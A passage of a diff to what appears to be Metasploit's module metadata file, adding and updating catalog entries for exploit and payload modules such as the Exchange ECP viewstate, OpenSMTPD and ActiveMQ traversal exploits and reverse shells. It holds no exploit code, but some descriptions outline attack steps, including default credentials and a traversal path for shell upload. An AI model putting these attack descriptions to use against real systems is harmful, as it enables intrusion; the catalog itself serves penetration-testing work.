"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/phptax_exec": {
|
||||
"name": "PhpTax pfilez Parameter Exec Remote Code Injection",
|
||||
"fullname": "exploit/multi/http/phptax_exec",
|
||||
@@ -81264,7 +81664,7 @@
|
||||
"targets": [
|
||||
"Mac OS X"
|
||||
],
|
||||
"mod_time": "2019-02-09 18:46:35 +0000",
|
||||
"mod_time": "2020-02-26 10:39:50 +0000",
|
||||
"path": "/modules/exploits/osx/browser/adobe_flash_delete_range_tl_op.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "osx/browser/adobe_flash_delete_range_tl_op",
|
||||
@@ -84728,6 +85128,56 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_unix/local/opensmtpd_oob_read_lpe": {
|
||||
"name": "OpenSMTPD OOB Read Local Privilege Escalation",
|
||||
"fullname": "exploit/unix/local/opensmtpd_oob_read_lpe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 200,
|
||||
"disclosure_date": "2020-02-24",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Qualys",
|
||||
"wvu <wvu@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits an out-of-bounds read of an attacker-controlled\n string in OpenSMTPD's MTA implementation to execute a command as the\n root or nobody user, depending on the kind of grammar OpenSMTPD uses.",
|
||||
"references": [
|
||||
"CVE-2020-8794",
|
||||
"URL-https://seclists.org/oss-sec/2020/q1/96"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"OpenSMTPD < 6.6.4 (automatic grammar selection)"
|
||||
],
|
||||
"mod_time": "2020-03-03 16:50:39 +0000",
|
||||
"path": "/modules/exploits/unix/local/opensmtpd_oob_read_lpe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/local/opensmtpd_oob_read_lpe",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/local/setuid_nmap": {
|
||||
"name": "Setuid Nmap Exploit",
|
||||
"fullname": "exploit/unix/local/setuid_nmap",
|
||||
@@ -85186,10 +85636,10 @@
|
||||
"wvu <wvu@metasploit.com>",
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "This module exploits a command injection in the MAIL FROM field during\n SMTP interaction with OpenSMTPD to execute code as the root user.",
|
||||
"description": "This module exploits a command injection in the MAIL FROM field during\n SMTP interaction with OpenSMTPD to execute a command as the root user.",
|
||||
"references": [
|
||||
"CVE-2020-7247",
|
||||
"URL-https://www.openwall.com/lists/oss-security/2020/01/28/3"
|
||||
"URL-https://seclists.org/oss-sec/2020/q1/40"
|
||||
],
|
||||
"platform": "Unix",
|
||||
"arch": "cmd",
|
||||
@@ -85201,9 +85651,9 @@
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"OpenSMTPD >= commit a8e222352f"
|
||||
"OpenSMTPD < 6.6.1"
|
||||
],
|
||||
"mod_time": "2020-02-06 11:03:00 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/smtp/opensmtpd_mail_from_rce",
|
||||
@@ -85211,6 +85661,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -86376,7 +86835,7 @@
|
||||
"Drupal 8.x (Unix In-Memory)",
|
||||
"Drupal 8.x (Linux Dropper)"
|
||||
],
|
||||
"mod_time": "2019-03-05 18:58:11 +0000",
|
||||
"mod_time": "2020-02-19 01:06:50 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/drupal_drupalgeddon2",
|
||||
@@ -86486,7 +86945,7 @@
|
||||
"PHP In-Memory",
|
||||
"Unix In-Memory"
|
||||
],
|
||||
"mod_time": "2019-04-24 11:41:30 +0000",
|
||||
"mod_time": "2020-02-19 01:06:50 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/drupal_restws_unserialize.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/drupal_restws_unserialize",
|
||||
@@ -88520,6 +88979,55 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_unix/webapp/opennetadmin_ping_cmd_injection": {
|
||||
"name": "OpenNetAdmin Ping Command Injection",
|
||||
"fullname": "exploit/unix/webapp/opennetadmin_ping_cmd_injection",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-11-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"mattpascoe",
|
||||
"Onur ER <onur@onurer.net>"
|
||||
],
|
||||
"description": "This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.",
|
||||
"references": [
|
||||
"EDB-47691"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic Target"
|
||||
],
|
||||
"mod_time": "2020-02-21 15:47:32 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/opennetadmin_ping_cmd_injection",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_unix/webapp/opensis_modname_exec": {
|
||||
"name": "OpenSIS 'modname' PHP Code Execution",
|
||||
"fullname": "exploit/unix/webapp/opensis_modname_exec",
|
||||
@@ -91529,7 +92037,7 @@
|
||||
"targets": [
|
||||
"InfiniteWP Client < 1.9.4.5"
|
||||
],
|
||||
"mod_time": "2020-02-07 12:12:35 +0000",
|
||||
"mod_time": "2020-03-03 13:22:01 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/wp_infinitewp_auth_bypass",
|
||||
@@ -91537,6 +92045,16 @@
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"config-changes"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
@@ -91991,7 +92509,7 @@
|
||||
"targets": [
|
||||
"WordPress"
|
||||
],
|
||||
"mod_time": "2019-11-28 20:13:21 +0000",
|
||||
"mod_time": "2020-02-26 10:39:50 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/wp_plainview_activity_monitor_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/wp_plainview_activity_monitor_rce",
|
||||
@@ -104192,7 +104710,7 @@
|
||||
"Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)",
|
||||
"Windows 7 + JAVA + DEP bypass (IE8)"
|
||||
],
|
||||
"mod_time": "2017-10-05 16:44:36 +0000",
|
||||
"mod_time": "2020-02-26 14:53:20 +0000",
|
||||
"path": "/modules/exploits/windows/browser/teechart_pro.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/browser/teechart_pro",
|
||||
@@ -113031,7 +113549,7 @@
|
||||
"targets": [
|
||||
"VLC 1.1.8 on Windows XP SP3"
|
||||
],
|
||||
"mod_time": "2018-09-15 18:54:45 +0000",
|
||||
"mod_time": "2020-02-26 14:53:20 +0000",
|
||||
"path": "/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/fileformat/vlc_modplug_s3m",
|
||||
@@ -117043,6 +117561,57 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/apache_activemq_traversal_upload": {
|
||||
"name": "Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload",
|
||||
"fullname": "exploit/windows/http/apache_activemq_traversal_upload",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2015-08-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"David Jorm",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits a directory traversal vulnerability (CVE-2015-1830) in Apache\n ActiveMQ 5.x before 5.11.2 for Windows.\n\n The module tries to upload a JSP payload to the /admin directory via the traversal\n path /fileserver/..\\admin\\ using an HTTP PUT request with the default ActiveMQ\n credentials admin:admin (or other credentials provided by the user). It then issues\n an HTTP GET request to /admin/<payload>.jsp on the target in order to trigger the\n payload and obtain a shell.",
|
||||
"references": [
|
||||
"CVE-2015-1830",
|
||||
"EDB-40857",
|
||||
"URL-https://activemq.apache.org/security-advisories.data/CVE-2015-1830-announcement.txt"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": 8161,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows Java"
|
||||
],
|
||||
"mod_time": "2020-03-05 15:03:05 +0000",
|
||||
"path": "/modules/exploits/windows/http/apache_activemq_traversal_upload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/apache_activemq_traversal_upload",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/apache_chunked": {
|
||||
"name": "Apache Win32 Chunked Encoding",
|
||||
"fullname": "exploit/windows/http/apache_chunked",
|
||||
@@ -118939,6 +119508,67 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/exchange_ecp_viewstate": {
|
||||
"name": "Exchange Control Panel Viewstate Deserialization",
|
||||
"fullname": "exploit/windows/http/exchange_ecp_viewstate",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-02-11",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "This module exploits a .NET serialization vulnerability in the\n Exchange Control Panel (ECP) web page. The vulnerability is due to\n Microsoft Exchange Server not randomizing the keys on a\n per-installation basis resulting in them using the same validationKey\n and decryptionKey values. With knowledge of these, values an attacker\n can craft a special viewstate to cause an OS command to be executed\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.",
|
||||
"references": [
|
||||
"CVE-2020-0688",
|
||||
"URL-https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows (x86)",
|
||||
"Windows (x64)",
|
||||
"Windows (cmd)"
|
||||
],
|
||||
"mod_time": "2020-03-07 10:43:51 +0000",
|
||||
"path": "/modules/exploits/windows/http/exchange_ecp_viewstate.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/exchange_ecp_viewstate",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/ezserver_http": {
|
||||
"name": "EZHomeTech EzServer Stack Buffer Overflow Vulnerability",
|
||||
"fullname": "exploit/windows/http/ezserver_http",
|
||||
@@ -119069,7 +119699,7 @@
|
||||
"targets": [
|
||||
"Windows Vista / Windows 7 (x86)"
|
||||
],
|
||||
"mod_time": "2019-10-08 11:44:41 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/http/file_sharing_wizard_seh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/file_sharing_wizard_seh",
|
||||
@@ -122533,7 +123163,7 @@
|
||||
"targets": [
|
||||
"Universal Windows Target"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-26 14:53:20 +0000",
|
||||
"path": "/modules/exploits/windows/http/novell_imanager_upload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/novell_imanager_upload",
|
||||
@@ -128962,7 +129592,7 @@
|
||||
"phra",
|
||||
"lupman"
|
||||
],
|
||||
"description": "This module utilizes the Net-NTLMv2 reflection between DCOM/RPC\n to achieve a SYSTEM handle for elevation of privilege.\n It requires a CLSID string.",
|
||||
"description": "This module utilizes the Net-NTLMv2 reflection between DCOM/RPC\n to achieve a SYSTEM handle for elevation of privilege.\n It requires a CLSID string.\n Windows 10 after version 1803, (April 2018 update, build 17134) and all\n versions of Windows Server 2019 are not vulnerable.",
|
||||
"references": [
|
||||
"MSB-MS16-075",
|
||||
"CVE-2016-3225",
|
||||
@@ -128984,7 +129614,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-01-12 04:32:21 +0000",
|
||||
"mod_time": "2020-02-21 08:33:20 +0000",
|
||||
"path": "/modules/exploits/windows/local/ms16_075_reflection_juicy.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/ms16_075_reflection_juicy",
|
||||
@@ -130920,7 +131550,7 @@
|
||||
"author": [
|
||||
"Manuel Feifel"
|
||||
],
|
||||
"description": "This module will execute an arbitrary payload on an \"ESEL\" server used by the\n AIS logistic software. The server typically listens on port 5099 without TLS.\n There could also be server listening on 5100 with TLS but the port 5099 is\n usually always open.\n The login process is vulnerable to an SQL Injection. Usually a MSSQL Server\n with the 'sa' user is in place.\n\n This module was verified on version 67 but it should also run on lower versions.\n An fixed version was created by AIS in September 2017. However most systems\n have not been updated.\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload. You want a \"reverse\" payload,\n probably to your port 80 or to any other outbound port allowed on the firewall.\n\n Currently, one delivery method is supported\n\n This method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.",
|
||||
"description": "This module will execute an arbitrary payload on an \"ESEL\" server used by the\n AIS logistic software. The server typically listens on port 5099 without TLS.\n There could also be server listening on 5100 with TLS but the port 5099 is\n usually always open.\n The login process is vulnerable to an SQL Injection. Usually a MSSQL Server\n with the 'sa' user is in place.\n\n This module was verified on version 67 but it should also run on lower versions.\n An fixed version was created by AIS in September 2017. However most systems\n have not been updated.\n\n In regard to the payload, unless there is a closed port in the web server,\n you dont want to use any \"bind\" payload. You want a \"reverse\" payload,\n probably to your port 80 or to any other outbound port allowed on the firewall.\n\n Currently, one delivery method is supported\n\n This method takes advantage of the Command Stager subsystem. This allows using\n various techniques, such as using a TFTP server, to send the executable. By default\n the Command Stager uses 'wcsript.exe' to generate the executable on the target.\n\n NOTE: This module will leave a payload executable on the target system when the\n attack is finished.",
|
||||
"references": [
|
||||
"CVE-2019-10123"
|
||||
],
|
||||
@@ -130936,7 +131566,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-04-25 18:24:26 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/misc/ais_esel_server_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/ais_esel_server_rce",
|
||||
@@ -131997,7 +132627,7 @@
|
||||
"agalway-r7",
|
||||
"adfoster-r7"
|
||||
],
|
||||
"description": "Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,\n triggering a stack buffer overflow.",
|
||||
"description": "Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,\n triggering a stack buffer overflow.",
|
||||
"references": [
|
||||
"CVE-2019-12518",
|
||||
"URL-https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html",
|
||||
@@ -132015,7 +132645,7 @@
|
||||
"targets": [
|
||||
"Crosschex Standard x86 <= V4.3.12"
|
||||
],
|
||||
"mod_time": "2020-02-18 23:18:45 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/misc/crosschex_device_bof.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/crosschex_device_bof",
|
||||
@@ -139962,7 +140592,7 @@
|
||||
"Shadow Brokers",
|
||||
"thelightcosine"
|
||||
],
|
||||
"description": "This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.",
|
||||
"description": "This module is a port of the Equation Group ETERNALBLUE exploit, part of\n the FuzzBunch toolkit released by Shadow Brokers.\n\n There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size\n is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a\n DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow\n is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later\n completed in srvnet!SrvNetWskReceiveComplete.\n\n This exploit, like the original may not trigger 100% of the time, and should be\n run continuously until triggered. It seems like the pool will get hot streaks\n and need a cool down period before the shells rain in again.\n\n The module will attempt to use Anonymous login, by default, to authenticate to perform the\n exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use\n those instead.\n\n On some systems, this module may cause system instability and crashes, such as a BSOD or\n a reboot. This may be more likely with some payloads.",
|
||||
"references": [
|
||||
"MSB-MS17-010",
|
||||
"CVE-2017-0143",
|
||||
@@ -139985,7 +140615,7 @@
|
||||
"targets": [
|
||||
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
|
||||
],
|
||||
"mod_time": "2019-10-30 22:20:36 +0000",
|
||||
"mod_time": "2020-03-09 09:22:01 +0000",
|
||||
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/smb/ms17_010_eternalblue",
|
||||
@@ -141178,7 +141808,7 @@
|
||||
"author": [
|
||||
"MC <mc@metasploit.com>"
|
||||
],
|
||||
"description": "This module exploits a stack buffer overflow in GoodTech Systems Telnet Server\n versions prior to 5.0.7. By sending an overly long string, an attacker can\n overwrite the buffer and control program execution.",
|
||||
"description": "This module exploits a stack buffer overflow in GoodTech Systems Telnet Server\n versions prior to 5.0.7. By sending an overly long string, an attacker can\n overwrite the buffer and control program execution.",
|
||||
"references": [
|
||||
"CVE-2005-0768",
|
||||
"OSVDB-14806",
|
||||
@@ -141197,7 +141827,7 @@
|
||||
"Windows 2000 Pro English All",
|
||||
"Windows XP Pro SP0/SP1 English"
|
||||
],
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/windows/telnet/goodtech_telnet.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/telnet/goodtech_telnet",
|
||||
@@ -142858,7 +143488,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_http",
|
||||
@@ -142893,7 +143523,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_https",
|
||||
@@ -142928,7 +143558,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/aarch64/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/aarch64/meterpreter_reverse_tcp",
|
||||
@@ -142996,7 +143626,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_http",
|
||||
@@ -143031,7 +143661,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_https.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_https",
|
||||
@@ -143066,7 +143696,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-05-21 12:40:27 +0000",
|
||||
"mod_time": "2020-03-05 10:11:26 +0000",
|
||||
"path": "/modules/payloads/singles/apple_ios/armle/meterpreter_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "apple_ios/armle/meterpreter_reverse_tcp",
|
||||
@@ -144563,7 +145193,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Continually listen for a connection and spawn a command shell via R",
|
||||
"references": [
|
||||
@@ -144575,7 +145205,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-08-28 05:30:30 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_r.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_r",
|
||||
@@ -144995,7 +145625,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.",
|
||||
"references": [
|
||||
@@ -145007,7 +145637,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2018-05-15 20:50:30 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_bash_telnet_ssl",
|
||||
@@ -145364,7 +145994,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Creates an interactive shell via perl, uses SSL",
|
||||
"references": [
|
||||
@@ -145376,7 +146006,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-10-13 19:09:07 +0000",
|
||||
"mod_time": "2020-02-21 09:17:51 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_perl_ssl",
|
||||
@@ -145397,7 +146027,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Creates an interactive shell via php, uses SSL",
|
||||
"references": [
|
||||
@@ -145409,7 +146039,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2019-10-13 19:09:07 +0000",
|
||||
"mod_time": "2020-02-21 09:17:51 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_php_ssl",
|
||||
@@ -145463,7 +146093,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.",
|
||||
"references": [
|
||||
@@ -145475,7 +146105,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_python_ssl",
|
||||
@@ -145496,7 +146126,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Connect back and create a command shell via R",
|
||||
"references": [
|
||||
@@ -145508,7 +146138,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-08-28 05:30:30 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_r.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_r",
|
||||
@@ -145562,7 +146192,7 @@
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"RageLtMan"
|
||||
"RageLtMan <rageltman@sempervictus>"
|
||||
],
|
||||
"description": "Connect back and create a command shell via Ruby, uses SSL",
|
||||
"references": [
|
||||
@@ -145574,7 +146204,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2019-06-25 20:42:35 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ruby_ssl",
|
||||
@@ -145618,6 +146248,40 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/unix/reverse_ssh": {
|
||||
"name": "Unix Command Shell, Reverse TCP SSH",
|
||||
